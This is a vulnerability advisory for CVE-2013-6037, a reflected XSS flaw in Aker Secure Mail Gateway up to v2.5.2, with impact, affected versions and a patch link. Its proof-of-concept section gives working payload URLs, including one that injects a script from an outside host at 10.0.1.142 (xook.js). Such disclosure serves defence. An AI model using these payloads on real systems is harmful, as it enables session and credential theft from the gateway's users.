XSS in url for access of Confirmation Required in box for antispam from company AKER (CVE-2013-6037) I. VULNERABILITY ------------------------- Reflected XSS vulnerabilities in AKER SECURE MAIL GATEWAY <= v2.5.2 II. BACKGROUND ------------------------- The Aker Secure Mail Gateway is a complete platform security e-mail III. DESCRIPTION ------------------------- Has been detected a reflected XSS vulnerability in Aker Secure Mail Gateway <=2.5.2 , that allows the execution of arbitrary HTML/script code to be executed in the context of the victim user's browser. The code injection is done through the parameter "msg_id" and "content" in the page index.php. IV. PROOF OF CONCEPT ------------------------- The application does not validate the double encoding of the "msg_id" parameter correctly. Malicious Request ("msg_id") http://vulnerablesite.com/webgui/cf/index.php?msg_id=89f52f83bdhhygaabdbayudefcff654abb2f097777/><script>alert(String(/XSS/).substr(1,6) ); </script> Vulnerable: http://vulnerablesite.com/webgui/cf/index.php?msg_id=89f52f83bdhhygaabdbayudefcff654abb2f097777/><script src=http://10.0.1.142:5005/xook.js></script> Vulnerable: http://vulnerablesite.com/webgui/cf/index.php?msg_id=89f52f83bdhhygaabdbayudefcff654abb2f097777/><iframe src=http://www.google.com> </iframe> V. BUSINESS IMPACT ------------------------- An attacker can execute arbitrary HTML or script code in a targeted user's browser, this can leverage to steal sensitive information as user credentials, personal data, etc. VI. SYSTEMS AFFECTED ------------------------- Aker Secure Mail Gateway <= v2.5.2 VII. SOLUTION ------------------------- http://download.aker.com.br/prod/current/atualizacoes/aker-secure-mail-gateway-2.5/patch-2/akersecuremailgateway-2.5-pt-box-patch-002-hotfix-023-0002.akp References http://www.kb.cert.org/vuls/id/687278 http://www.aker.com.br/ http://www.aker.com.br/produtos/aker-secure-mail-gateway http://www.aker.com.br/atualizacoes-asmg?field_tipo_value=All By Wiliam Costa